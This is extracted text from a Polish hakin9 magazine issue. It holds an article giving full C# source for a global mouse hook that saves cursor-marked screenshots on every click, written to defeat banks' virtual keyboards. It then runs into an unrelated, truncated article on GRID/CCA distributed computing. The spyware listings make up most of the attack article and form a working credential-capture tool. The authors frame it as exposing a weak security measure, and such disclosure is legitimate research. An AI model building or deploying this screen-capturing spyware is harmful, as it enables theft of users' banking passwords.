wania się użytkownik musi wprowadzić hasło
które – zamiast wpisywać z prawdziwej kla-
wiatury – może wprowadzić klikając myszką
klawisze wyświetlone w przeglądarce inter-
netowej (Rysunek 1).

To rozwiązanie ma w teorii przeciwdzia-

łać przechwytywaniu haseł przez keyloggery.

Naturalnie standardowy keylogger nie pora-
dzi sobie z takim zabezpieczeniem. Wystar-
czy jednak chwilę pomyśleć i – używając tych
samych technik programowania, co w przy-
padku keyloggera – napisać program, który
z łatwością obchodzi wirtualną klawiaturę.
Czytelnik pewnie już zdążył się zorientować,
że chodzi tu o robienie zrzutów ekranu pod-
czas, gdy ofiara klika myszką. Użyjemy me-
chanizmu haków – tego samego, który słu-
żył nam wcześniej do przechwytywania tek-
stu wprowadzanego z klawiatury. Tym razem
zdarzenie, jakie musimy przechwycić, to kli-
kanie klawiszami myszki. Zamiast zapisywać

Atak na wirtualną

klawiaturę

Maciej Pakulski, Sławomir Orłowski

stopień trudności

Wirtualna klawiatura ma przeciwdziałać wykradaniu haseł

przez programy typu keylogger, czyli w domyśle ma podnosić

bezpieczeństwo podczas logowania przez Internet. W tym

artykule chcemy pokazać, jak łatwo to zabezpieczenie złamać.

Z artykułu dowiesz się

• jak działają haki w systemie Windows,
• jak z poziomu kodu C# monitorować.

Co powinieneś wiedzieć

• podstawy programowania zorientowanego

obiektowo,

• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

39

znaki do pliku, musimy wykonywać
zrzut ekranu i przechować go na
dysku. Poza tym wszystko wyglą-
da tak samo! Wniosek z tego, że
pieniądze (pewnie spore) wydane
na wprowadzenie nowego zabez-
pieczenia okazują się być pieniędz-
mi wyrzuconymi w błoto. Używając

tych samych technik programowa-
nia, atakujący może z łatwością na-
pisać program, który odczyta wpro-
wadzane hasło. I nie ma co bronić
się stwierdzeniami typu zabezpie-
czenia są zawsze krok za ataku-
jącym, które zawsze z góry skazu-
je zabezpieczenie na porażkę. Nie

będziemy także komentować faktu,
że w przypadku jednego z banków
klawisze w wirtualnej klawiaturze
zmieniają swój wygląd przy kliknię-
ciu. Takie zachowanie tylko ułatwia
wykradzenie hasła, bo nie musimy
się już martwić o odczytanie pozy-
cji kursora. My jednak na łatwiznę
nie idziemy i zaprezentujemy meto-
dę umieszczającą kursor na zrzu-
cie ekranu. W tym artykule nie bę-
dziemy opisywać, jak zrzuty ekranu
wysyłać przez Internet, jak omijać
firewall itd. Chcemy zwrócić uwagę
na to, w jak prosty sposób każdy,
kto zaimplementował już keylogge-
ra, może napisać program odczytu-
jący hasła z wirtualnej klawiatury.
A przecież miała ona przeciwdzia-
łać tego typu atakom.

Tworzymy bibliotekę

łączoną dynamicznie

Podobnie jak w artykule z hakin9
1/2008, rozpoczynamy od stwo-
rzenia biblioteki DLL. Uruchamia-
my Visual C# 2005 i wybieramy Fi-
le –> New Project –> Class Libra-
ry
. Projektowi nadajemy nazwę Mo-
useProcDll
. Pierwszą czynnością
będzie dodanie niezbędnych funk-
cji

WinApi

z Listingu 1. Aby móc

zaimportować funkcje systemo-
we, musimy najpierw dodać prze-
strzeń nazw System.Runtime.Inte-
ropServices.

Funkcja CallNextHookEx zosta-

ła opisana w artykule o podsłuchi-
waniu klawiatury (hakin9 1/2008).

Funkcja GetCursorInfo dostar-

cza nam informacji o kursorze. Jej
parametrem jest struktura CUR-
SORINFO. Aby móc korzystać
z tej struktury, musimy ją wcześniej
zdefiniować – odpowiedni kod za-
warty jest na Listingu 2. Funkcja
zwraca wartość różną od zera, je-
żeli zdziała poprawnie. Za pomocą
GetIconInfo uzyskujemy informacje
o ikonie bądź kursorze. My użyje-
my tej funkcji do określenia tzw. hot
spot kursora, czyli miejsca aktyw-
nego (dla kursora będącego strzał-
ką hot spot znajduje się na czubku
grota). Parametry funkcji to uchwyt
do ikony bądź kursora oraz struktu-
ra ICONINFO, której definicję rów-

Listing 1.

Import funkcji WinApi

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

CallNextHookEx

(

IntPtr

hhk

,

int

nCode

,

IntPtr

wParam

,

IntPtr

lParam

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

bool

GetCursorInfo

(

out

CURSORINFO

pci

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

bool

GetIconInfo

(

IntPtr

hIcon

,

out

ICONINFO

piconinfo

);

Listing 2.

Struktury CURSORINFO i ICONINFO

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

struct

ICONINFO

{

public

bool

fIcon

;

public

Int32

xHotspot

;

public

Int32

yHotspot

;

public

IntPtr

hbmMask

;

public

IntPtr

hbmColor

;

}

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

struct

CURSORINFO

{

public

int

cbSize

;

public

int

flags

;

public

IntPtr

hCursor

;

public

Point

ptScreenPos

;

}

Rysunek 1.

Wirtualna klawiatura jednego z banków

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

40

nież przedstawia Listing 2. Funk-
cja również zwraca wartość różną
od zera w przypadku poprawnego
działania.

Następnym krokiem jest doda-

nie do naszej klasy pół z Listingu 3.

Pola

WM _ LBUTTONDOWN

oraz

WM _ RBUTTONDOWN

przechowują ko-

dy komunikatów systemu Win-
dows oznaczających odpowiednio
wciśnięcie lewego i prawego kla-
wisza myszy. Pole

counter

wyko-

rzystamy do oznaczenia kolejności
zapisywanego pliku na dysku, po-
cząwszy od 0. Pole to będziemy in-
krementować przy każdym zapisie
obrazu i dodawać jego wartość do
nazwy pliku. W ten sposób kolejne
pliki będą miały unikalną nazwę.
Pole

imagePath

jest ścieżką do ka-

talogu, w którym zapiszemy plik.

Teraz możemy przejść do napi-

sania odpowiednich metod. Pierw-
sza z nich, o nazwie

SaveScreen

,

będzie tworzyć obiekt klasy

Bitmap

,

reprezentujący

wycinek

ekra-

nu. Musimy jeszcze dodać prze-
strzenie nazw

System.Drawing

,

System.Drawing.Imaging

oraz

System.Windows.Forms

.

Algorytm

opisujący tworzenie zrzutu ekra-
nu został opisany w hakin9 2/2008.
Jednakże tworzenie zrzutu całe-
go ekranu wymaga dość sporego
nakładu pracy procesora. Gdyby
użytkownik naciskał klawisze my-
szy bardzo szybko, mogłoby dojść
do chwilowych blokad płynnego
działania systemu. Tak więc bę-
dziemy tworzyć tylko wycinki ekra-
nu o wymiarach 100x100 pikseli.
W ten sposób ominiemy problem
dużych zrzutów ekranu, nie tracąc
przy tym możliwości rozpoznawa-
nia klawiszy wirtualnej klawiatury.
Kod metody jest przedstawiony na
Listingu 4.

Pierwsze 4 instrukcje warunko-

we

if

zapobiegają próbie zapisu

obrazu poza ekranem monitora.

Jeżeli metoda zadziała popraw-

nie, zwraca referencję do obiektu
klasy

Bitmap

, reprezentującej wy-

cinek ekranu. W przeciwnym wy-
padku dostajemy wartość

null

.

Stworzony w metodzie

SaveScreen

obiekt nie zawiera jednak żadnych

Listing 3.

Dodane pola tworzonej klasy

private

static

int

WM_LBUTTONDOWN

=

0x201

;

private

static

int

WM_RBUTTONDOWN

=

0x204

;

private

static

long

counter

=

0

;

private

static

string

imagePath

=

@

"C:

\s

creen"

;

Listing 4.

Metoda tworząca obiekt klasy Bitmap, reprezentującej

wycinek ekranu (bez kursora)

private

static

Bitmap

SaveScreen

(

ref

int

mouseX

,

ref

int

mouseY

)

{

try

{

int

xCoord

=

mouseX

-

50

,

yCoord

=

mouseY

-

50

;

int

tmpMouseX

=

50

,

tmpMouseY

=

50

;

if

((

mouseX

-

50

)

<

0

)

{

xCoord

=

0

;

tmpMouseX

=

mouseX

;

}

if

((

mouseX

+

50

)

>

Screen

.

PrimaryScreen

.

Bounds

.

Width

)

{

xCoord

=

Screen

.

PrimaryScreen

.

Bounds

.

Width

-

100

;

tmpMouseX

=

100

-

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

-

mouseX

);

}

if

((

mouseY

-

50

)

<

0

)

{

yCoord

=

0

;

tmpMouseY

=

mouseY

;

}

if

((

mouseY

+

50

)

>

Screen

.

PrimaryScreen

.

Bounds

.

Height

)

{

yCoord

=

Screen

.

PrimaryScreen

.

Bounds

.

Height

-

100

;

;

tmpMouseY

=

100

-

(

Screen

.

PrimaryScreen

.

Bounds

.

Height

-

mouseY

);

}

Bitmap

bitmap

=

new

Bitmap

(

100

,

100

,

PixelFormat

.

Format32bppArgb

);

Graphics

screenshot

=

Graphics

.

FromImage

(

bitmap

);

screenshot

.

CopyFromScreen

(

xCoord

,

yCoord

,

0

,

0

,

new

Size

(

100

,

100

)

,

CopyPixelOperation

.

SourceCopy

);

mouseX

=

tmpMouseX

;

mouseY

=

tmpMouseY

;

return

bitmap

;

}

catch

{

}

return

null

;

}

Listing 5.

Metoda tworząca obiekt klasy Icon

private

static

Icon

CursorIcon

()

{

try

{

CURSORINFO

cu

=

new

CURSORINFO

();

cu

.

cbSize

=

Marshal

.

SizeOf

(

cu

);

GetCursorInfo

(

out

cu

);

Icon

icon

=

Icon

.

FromHandle

(

cu

.

hCursor

);

if

(

icon

!=

null

)

return

icon

;

}

catch

{

}

return

null

;

}

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

41

informacji o kursorze. Naszym za-
daniem jest więc stworzenie kolej-
nego obiektu klasy

Bitmap

, który

będzie reprezentował kursor i po-
łączenie tych dwóch obiektów w je-
den, reprezentujący wycinek ekranu
wraz z kursorem. Wykorzystamy do
tego dwie metody. Pierwsza z nich
będzie tworzyć obiekt klasy

Icon

.

Kod tej metody jest przedstawiony
na Listingu 5.

Na początku deklarujemy obiekt

struktury

CURSORINFO

, który używa-

my następnie jako parametr w funk-
cji

GetCursorInfo

. Ważne jest, aby

przed wywołaniem tej funkcji usta-
wić wartość pola cbSize nasze-
go obiektu na ilość bajtów zajmo-

wanych przezeń w pamięci. Uży-
wamy do tego statycznej metody

SizeOf

klasy

Marshal

. W następnym

kroku, używając statycznej meto-
dy

FromHandle

klasy

Icon

, uzysku-

jemy referencję do nowo utworzo-
nego obiektu. Jako parametr prze-
kazujemy uchwyt do kursora, który
jest jednym z pól obiektu struktury

CURSORINFO

.

Za pomocą uzyskanego obiektu

klasy

Icon

możemy stworzyć obiekt

klasy

Bitmap

reprezentujący kursor

i połączyć ten obiekt z obiektem
klasy

Bitmap

reprezentującym wyci-

nek ekranu. Wykorzystamy do tego
celu metodę

SaveScreenWithCursor

,

której parametrami są współrzędne
kursora. Jej kod jest przedstawiony
na Listingu 6.

Metoda ta wykorzystuje zde-

finiowane

wcześniej

metody

SaveScreen

oraz

CursorIcon

. W ce-

lu uzyskania informacji o ikonie wy-
korzystujemy funkcję

GetIconInfo

.

Uzyskamy w ten sposób współ-
rzędne miejsca aktywnego kursora
(hot spot). Współrzędne te wyko-
rzystujemy do przesunięcia współ-
rzędnych kursora w celu uzyskania
prawidłowego położenia kursora na
ekranie. Prezentuje to Rysunek 2.

Następnie, posługując się obiek-

tem klasy

Graphics

, łączymy obiek-

ty klasy

Bitmap

w celu uzyskania

obiektu reprezentującego wycinek
ekranu wraz z kursorem. Na końcu
zapisujemy obraz na dysku w for-
macie JPEG.

Ostatnim krokiem będzie napi-

sanie funkcji monitorującej. Jej kod
jest przedstawiony na Listingu 7.

Pierwsza instrukcja

if

spraw-

dza, czy został wciśnięty prawy

Listing 6.

Metoda zapisująca wycinek ekranu wraz z kursorem w

formacie JPEG

private

static

void

SaveScreenWithCursor

(

int

mouseX

,

int

mouseY

)

{

try

{

Bitmap

screen

=

SaveScreen

(

ref

mouseX

,

ref

mouseY

);

if

(

screen

!=

null

)

{

ICONINFO

ic

;

Icon

cursorIcon

=

CursorIcon

();

if

(

cursorIcon

!=

null

)

{

if

(

GetIconInfo

(

cursorIcon

.

Handle

,

out

ic

))

{

int

x

=

mouseX

-

ic

.

xHotspot

;

int

y

=

mouseY

-

ic

.

yHotspot

;

Bitmap

cursor

=

cursorIcon

.

ToBitmap

();

Rectangle

r

=

new

Rectangle

(

x

,

y

,

cursor

.

Width

,

cursor

.

Height

);

Graphics

g

=

Graphics

.

FromImage

(

screen

);

g

.

DrawImage

(

cursor

,

r

);

g

.

Flush

();

screen

.

Save

(

imagePath

+

(

counter

++)

+

".jpeg"

,

ImageForm

at

.

Jpeg

);

}

}

}

}

catch

{

}

}

Listing 7.

Funkcja monitorująca

public

static

IntPtr

MouseProc

(

int

code

,

IntPtr

wParam

,

IntPtr

lParam

)

{

try

{

if

((

wParam

.

ToInt64

()

==

WM_LBUTTONDOWN

||

wParam

.

ToInt64

()

==

WM_RBUTTONDOWN

)

&&

code

>=

0

)

{

MSDLLHOOKSTRUCT

mouseStruct

=

(

MSDLLHOOKSTRUCT

)

Marshal

.

PtrToStru

cture

(

lParam

,

typeof

(

MSDLLHOOKSTRUCT

));

SaveScreenWithCursor

(

mouseStruct

.

pt

.

X

,

mouseStruct

.

pt

.

Y

);

}

}

catch

{

}

return

CallNextHookEx

(

IntPtr

.

Zero

,

code

,

wParam

,

lParam

);

}

Listing 8.

Struktura

MSDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

.

Sequenti

al

)]

struct

MSDLLHOOKSTRUCT

{

public

Point

pt

;

public

int

mouseData

;

public

int

flags

;

public

int

time

;

public

IntPtr

dwExtraInfo

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

42

Listing 9.

Klasa MouseProcInstall

using

System

;

using

System

.

Runtime

.

InteropServices

;

using

System

.

Reflection

;

namespace

InstallMouseProc

{

class

MouseProcInstall

{

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

SetWindowsHookEx

(

int

code

,

MouseProcDelegate

func

,

IntPtr

hInstance

,

int

threadID

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

UnhookWindowsHookEx

(

IntPtr

hhk

);

[

DllImport

(

"Kernel32.dll"

)]

private

static

extern

IntPtr

GetModuleHandle

(

string

moduleName

);

private

delegate

IntPtr

MouseProcDelegate

(

int

code

,

IntPtr

wParam

,

IntPtr

lParam

);

private

static

MouseProcDelegate

mouseDelegate

;

private

IntPtr

result

;

private

const

int

WH_MOUSE_LL

=

0x0e

;

private

bool

GetHookProc

()

{

try

{

string

sc

=

Environment

.

CurrentDirectory

+

"

\\

"

+

"MouseProcDll.dll"

;

Assembly

a

=

Assembly

.

LoadFrom

(

sc

);

Type

[]

tab

=

a

.

GetExportedTypes

();

MethodInfo

methodInfo

=

null

;

foreach

(

Type

t

in

tab

)

{

methodInfo

=

t

.

GetMethod

(

"MouseProc"

);

}

mouseDelegate

=

(

MouseProcDelegate

)

Delegate

.

CreateDelegate

(

typeof

(

MouseProcDelegate

)

,

methodInfo

);

return

true

;

}

catch

{

return

false

;

}

}

public

bool

InstallHook

()

{

try

{

if

(

GetHookProc

())

{

result

=

SetWindowsHookEx

(

WH_MOUSE_LL

,

mouseDelegate

,

GetModuleHandle

(

"MouseProcDll"

)

,

0

);

return

true

;

}

else

return

false

;

}

catch

{

return

false

;

}

}

public

void

CloseHook

()

{

UnhookWindowsHookEx

(

result

);

}

}

}

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

43

bądź lewy przycisk myszy oraz
czy parametr

code

jest większy lub

równy 0. Następnie, używając sta-
tycznej metody

PtrToStructure

kla-

sy

Marshal

, zamieniamy parametr

lParam

na strukturę

MSDLLHOOKSTRUCT

.

Strukturę tę musimy jednak naj-
pierw zdefiniować. Dodajemy przed
definicją klasy kod z Listingu 8.

Pierwszym

polem

struktu-

ry jest obiekt

Point

, który okre-

śla współrzędne kursora. Pola X
oraz Y tej struktury wykorzystu-
jemy jako parametry dla metody

SaveScreenWithCursor

, która zapisu-

je wycinek ekranu na dysku. Ostat-
nią czynnością jest wywołanie
funkcji

CallNextHookEx

w celu prze-

kazania parametrów do ewentual-
nej kolejnej zainstalowanej funkcji
monitorującej.

Instalacja funkcji

monitorującej

Instalacja funkcji monitorującej dla
haków przechwytujących komunika-
ty myszy jest prawie identyczna, jak

dla komunikatów klawiatury (patrz
artykuł w hakin9 1/2008). Dlatego
nie będziemy tu opisywać dokład-

nie kodu, lecz ograniczymy się tyl-
ko do podania go. Tworzymy nowy
projekt – Windows Forms Applica-

Rysunek 2.

Przesunięcie obrazu kursora w celu uzyskania prawidłowego

położenia kursora na obrazie ekranu

Wycinek

ekranu

mouseX

mouseY

yHotspot

yHotspot

Obraz kursora

t

x

y

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

44

tion. Nazwiemy go InstallMouse-
Proc
. Dodajemy nową klasę o na-
zwie

MouseProcInstall

. Jej kod jest

przedstawiony na Listingu 9.

W porównaniu z instalacją funk-

cji monitorującej dla podsłuchu
klawiatury, tym razem pierwszy
parametr funkcji

SetWindowsHookEx

musi mieć wartość

0x0e

, gdyż wy-

magamy, aby funkcja monitorują-
ca przechwytywała komunikaty
myszy wygenerowane dla każde-
go wątku istniejącego w systemie.
Możemy teraz stworzyć obiekt na-
szej klasy. Przechodzimy do wido-
ku formy i wciskamy F7, po czym
dodajemy kod z Listingu 10.

Program jest już gotowy. Jak

stwierdziliśmy we wstępie, nie
chcemy tutaj opisywać, co dalej
należy zrobić z zapisanymi zrzu-
tami ekranu, jak ukryć ten program
w systemie bądź jak zarazić nim
inny komputer. Powstałby wtedy
artykuł w stylu jak domowym spo-
sobem stworzyć bombę. Zależy
nam na naświetleniu samego pro-
blemu zabezpieczeń, które tak na-
prawdę nic nie zmieniają.

Podsumowanie

Naszym podstawowym celem pod-
czas pisania tego artykułu było

pokazanie, jak prosto ominąć za-
bezpieczenie, jakim jest wirtual-
na klawiatura. I nie chodzi tu tylko
o sprzęt czy źle stworzony skrypt
logowania, ale o czynnik ludzki. To
w końcu ktoś odpowiedzialny za

bezpieczeństwo podejmuje decy-
zję o wprowadzeniu wirtualnej kla-
wiatury. Czytelnikowi pozostawia-
my do oceny stopień kompetencji
kogoś, kto twierdzi, że pozwoli to
na uniknięcie problemu. l

Listing 10.

Definicja klasy Form1

using

System

;

using

System

.

Windows

.

Forms

;

namespace

InstallMouseProc

{

public

partial

class

Form1

:

Form

{

private

MouseProcInstall

hookClass

;

private

bool

hookInstallDone

=

true

;

public

Form1

()

{

InitializeComponent

();

hookClass

=

new

MouseProcInstall

();

if

(!

hookClass

.

InstallHook

())

{

hookInstallDone

=

false

;

}

}

private

void

OnClosing

(

object

sender

,

EventArgs

e

)

{

if

(

hookInstallDone

)

hookClass

.

CloseHook

();

}

}

}

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersy-
tetu Mikołaja Kopernika w Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekularna) oraz bioin-
formatyką. Programowanie jest nieodzowną częścią jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/
Kontakt z autorem: bigman@fizyka.umk.pl
Maciej Pakulski – absolwent studiów inżynierskich na kierunku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informatyki Stosowanej
Uniwersytetu Mikołaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje się od 2004 roku. Potrafi pro-
gramować biegle w językach C/C++, Java, VHDL. Programowaniem w języku C#, a także platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl

W Sieci

http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący haki w systemie Windows,
http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisujący haki w systemie Windows,
http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i nie tylko. Naprawdę godny polece-

nia,

http://www.codeguru.pl – polska strona dla programistów .NET,
http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, własności i metod, jakie zawiera plat-

forma .NET wraz z przykładowymi programami.

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

46

Obrona

S

ama technologia CCA (ang. Com-
mon Component Architecture
) ozna-
cza środowisko pozwalające na uru-

chamianie i łączenie programów w większe
i bardziej funkcjonalne systemy rozwiązy-
wania złożonych problemów poprzez dzier-
żawienie zasobów komputera. W przypadku
technologii GRID mamy do czynienia z sys-
temem zarządzającym zasobami będącymi
pod kontrolą różnych komputerów połączo-
nych siecią komputerową, który do swojej
pracy wykorzystuje otwarte protokoły i inter-
fejsy ogólnego przeznaczenia.

Systemy rozproszone tworzą stacje robo-

cze, minikomputery i wielkie systemy kompute-
rowe ogólnego przeznaczenia. Zadaniem sys-
temu rozproszonego jest tworzenie wydajnego
i wygodnego środowiska umożliwiającego dzie-
lenie zasobów. Rozproszony system operacyjny
umożliwia użytkownikom dostęp do różnorod-
nych zasobów, nad którymi sprawuje nadzór.
Każdy komputer podłączony do systemu udo-
stępnia procesory, które różnią się mocą obli-
czeniową i funkcjami. Procesory te określa się
za pomocą kilku różnych nazw, takich jak sta-
nowiska (ang. sites), węzły (ang. nodes), kom-
putery (ang. hosts) itp. - zależnie od kontek-

stu, w którym występują. Pojęcie zasób po-
winno tu być rozumiane szeroko: począwszy
od urządzeń (drukarki, skanery), a skończyw-
szy na plikach czy stronach WWW. Dostęp do
tych zasobów jest nadzorowany przez właści-
wy system operacyjny zainstalowany na stacji
roboczej. Istnieją dwa zasadnicze, uzupełniają-
ce się schematy dostarczania takich usług:

• sieciowe systemy operacyjne: użytkownicy

w celu dostępu do zasobów muszą rejestro-
wać się na zdalnych maszynach lub przesy-
łać dane z odległych maszyn do swoich;

Architektura CCA, czyli

GRID prosto i przyjemnie

Rafał Podsiadły

stopień trudności

Czy wiesz, że możesz pomóc w badaniach nad rakiem, nowymi

technologiami, badaniem kosmosu? Systemy oparte na

technologii CCA lub GRID są zespołami komputerów, na których

zainstalowane oprogramowanie pozwala na ścisłą współpracę

między wolnymi zasobami, tworząc w ten sposób superkomputer.

Z artykułu dowiesz się

• jak funkcjonują systemy rozproszone, do czego

są wykorzystywane.

Co powinieneś wiedzieć

• znać budowę sieci, szkielet TCP/IP,
• mieć ogólne wiadomości na temat algoryt-

mów,

• mieć ogólną wiedzę na temat systemów opera-

cyjnych.

background image

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

47

• rozproszone systemy operacyj-

ne: użytkownicy uzyskują dostęp
do zasobów zdalnych tak samo,
jak do zasobów lokalnych.

Komponenty mogą być dostarcza-
ne niezależnie. Definiuje się sposo-
by współdziałania poszczególnych
części (komponentów, zasobów),
które mogą znajdować się w syste-
mie lokalnym, równoległym czy być
rozproszone między zdalnymi sys-
temami obliczeniowymi. Sama ar-
chitektura opiera się o możliwość
rozwoju oraz wykorzystuje opro-
gramowanie na licencji Open So-
urce. Komponenty to samodzielne
jednostki obliczeniowe (fragmenty
oprogramowania), których szczegó-
ły implementacyjne nie są udostęp-
niane użytkownikom. Dzięki tej zasa-
dzie poszczególne komponenty mo-
gą być tworzone za pomocą innych
narzędzi. Komponenty mogą komu-
nikować się ze światem zewnętrz-
nym za pomocą interfejsów, w któ-
rych stosuje się model budowania
aplikacji typu plug and play. Do in-
terfejsów mogą być podłączone in-
ne komponenty lub dane wejścio-
we. Interfejs jest prostym opisem,
zawierającym informacje doty-
czące wywołania poszczególnych
usług. Standardy budowy kompo-
nentów, takie jak Object Manage-
ment Group, Common Object Re-
quest Broker Architecture, DCOM,
Microsoft Component Object Mo-
del czy Enterprise JavaBeans
(EJB), definiują prawa i obowiąz-

ki komponentów, sposób przygoto-
wania interfejsów, framework (czy-
li środowisko, w którym urucha-
miane są komponenty) oraz prawa
i obowiązki środowiska uruchomie-
niowego. Standardy te różnią się
pod względem wydajności działa-
nia, wymagań stawianych kompo-
nentom oraz platformy programo-
wej, na której mogą być uruchamia-
ne. Właściwości CCA:

• dodawanie, modyfikowanie lub

rozwijanie pojedynczych modu-
łów nie wpływa destabilizująco
na pozostałe elementy progra-
mu,

• możliwość aktualizacji pojedyn-

czych komponentów, bez ko-
nieczności wymiany całej apli-
kacji,

• zmiany wprowadzone wewnątrz

komponentu nie muszą mieć
wpływu na sposób jego interak-
cji z otoczeniem,

• użytkownik przy instalacji aplika-

cji może sam wybrać komponen-
ty, które będą mu potrzebne,

• zwiększenie produktywności ko-

du poprzez technikę wielokrotne-
go wykorzystania jego fragmen-
tów w innych, niezależnych pro-
jektach,

• możliwość składania dowolnych

projektów z istniejących już kom-
ponentów,

Pojęcia tego jako pierwszy użył Ian
Foster, profesor na Uniwersytecie
w Chicago, naukowiec pracujący

w ANL (Argonne National Laborato-
ry
). Idea ta ciągle ewoluuje, znajdo-
wane są nowe obszary jej potencjal-
nego zastosowania.

Za pierwszy przejaw idei gri-

du uważa się inicjatywę SETI@ho-
me
(ang. Search for Extra-Terre-
strial Intelligence
), mającą na celu
przyspieszenie poszukiwań śladów
życia we wszechświecie. Dowolny
posiadacz komputera mógł pobrać
fragment danych (sygnałów odbie-
ranych przez radioteleskopy) i prze-
prowadzać obliczenia w czasie wol-
nym od własnych obliczeń (wykorzy-
stując wolne cykle CPU). To nowa-
torskie podejście do problemu po-
zwoliło na równoczesne wykorzy-
stanie milionów komputerów rozpro-
szonych po całym świecie. Udało się
w ten sposób zidentyfikować poten-
cjalnie interesujące fragmenty sy-
gnału, które następnie poddawane
były dalszym analizom.

Zasoby gridu mogą być admini-

strowane przez różne organizacje.
Udostępnianie zasobów przebiega
zgodnie z lokalną polityką zarządza-
nia zasobami stosowaną w danej or-
ganizacji.

Zasoby posiadają przynajmniej

niektóre z poniższych cech:

• rozproszone geograficzne,
• heterogeniczne sprzętowo i pro-

gramowo,

• dynamiczne (dostępność zmien-

na w czasie),

• potencjalnie zawodne,
• posiadane i zarządzane przez

różne organizacje,

• różne wymagania i polityki bez-

pieczeństwa,

• różne polityki zarządzania za-

sobami,

• połączone heterogeniczną sie-

cią (różne warstwy, protokoły
komunikacyjne, topologie).

Grid kładzie nacisk na autono-
mię zasobu (pozwala na zachowa-
nie lokalnej kontroli nad zasoba-
mi i lokalnych polityk dostępu). Za-
soby nie są zarządzane centralnie,
w przeciwnym razie mamy do czy-
nienia z lokalnym systemem zarzą-
dzania zasobami (np. SGE, LSF,

Rysunek 1.

Schemat systemu GRID

�������

��������

��������

���������

���������������

���������

��������

������������

���������

���������

��������

���������

���������

���������

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

48

PBS). Zasobami gridu mogą być
nie tylko komputery i sieci, ale tak-
że specjalistyczne urządzenia czy
zbiory danych. Grid skupia się na
użytkowniku, patrzy się nie tylko
z punktu widzenia posiadacza za-
sobu, ale głównie z punktu widze-
nia użytkownika zlecającego zada-
nie do wykonania – tak, aby zopty-
malizować wykonanie aplikacji, a nie
użycie systemu.

Jak to wygląda? Wyobraź-

my sobie wiele organizacji rozpro-
szonych po całym świecie. Każda
z nich posiada pewne zasoby kom-
puterowe, programowe, sprzęt spe-
cjalistyczny i cenne dane, np. po-
miarowe. Żadnej z tych organizacji
nie stać na zakup wszystkich naj-
nowszych osiągnięć technologicz-
nych, każda z nich posiada tylko
pewien ich podzbiór, który wyko-
rzystuje w różnym czasie i z róż-
nym natężeniem.

Celem tworzenia gridu jest

umożliwienie organizacjom wza-
jemnej wymiany np. mocy oblicze-
niowej, ale też i innych zasobów
z zachowaniem lokalnych polityk
dostępu i bezpieczeństwa. Tworzo-
ne są w ten sposób Wirtualne Or-
ganizacje (VO, ang. Virtual Orga-
nizations
).

Warstwę fizyczną środowiska

gridowego stanowią połączone sie-
cią zasoby sprzętowe wielu orga-
nizacji stanowiących VO, które wy-
rażają chęć współtworzenia takiej
struktury. Ponad warstwą sprzęto-
wą musi istnieć warstwa programo-
wa, która pozwoli na udostępnianie
i współdzielenie zasobów oraz
umożliwi rozliczanie członków VO
z użycia zasobów (tzw. accounting).

Uzyskanie spójnego i zwarte-

go obrazu systemu rozproszonego
wymaga ukrycia przed użytkowni-
kami wielu szczegółów związanych
z jego organizacją. Oznacza to, że
różnice pomiędzy komputerami (m.
in. architektura komputera, lokal-
ny system operacyjny), różne spo-
soby komunikowania się kompute-
rów (technologie komunikacyjne,
protokoły sieciowe) oraz organiza-
cja systemu rozproszonego są (lub
powinny być) niewidoczne dla użyt-

kownika końcowego. Ujednolice-
nie takie daje w efekcie możliwość
korzystania z zasobów systemu
w jednolity sposób, przy korzysta-
niu z tego samego interfejsu, nie-
zależnie od czasu i miejsca doko-
nywanej interakcji.

Grid pozwala na rozwiązywa-

nie problemów dużej skali w zakre-
sie znacznie większym, niż pozwa-
lają na to wieloprocesorowe super-
komputery lub lokalne klastry kom-
puterowe. Dzięki udostępnianiu
własnych zasobów w ramach Wirtu-
alnej Organizacji, można mieć okre-
sowo dostęp do wszystkich jej za-
sobów, co daje niewątpliwą szan-
sę na wykonanie bardziej skompli-
kowanych obliczeń w krótszym cza-
sie (zasoby na żądanie). Najbar-
dziej znanymi narzędziami realizu-
jącymi koncepcje gridu są Legion
i Globus Toolkit.

Globus Toolkit jest to oprogra-

mowanie warstwy pośredniej (ang.
middleware), opracowywane w ra-
mach projektu Globus Alliance. Ce-
lem projektu jest dostarczenie śro-
dowiska do uruchamiania i tworze-
nia aplikacji gridowych. Ponadto
w ramach projektu powstają przy-
kładowe implementacje usług po-
trzebnych w tym środowisku. Glo-
bus Toolkit uważany jest za imple-
mentację referencyjną. Architektu-
ra środowiska gridowego zdefinio-
wana została w standardzie OGSA

(ang. Open Grid Services Architec-
ture
). Standard WSRF (ang. Web
Services Resource Framework
)
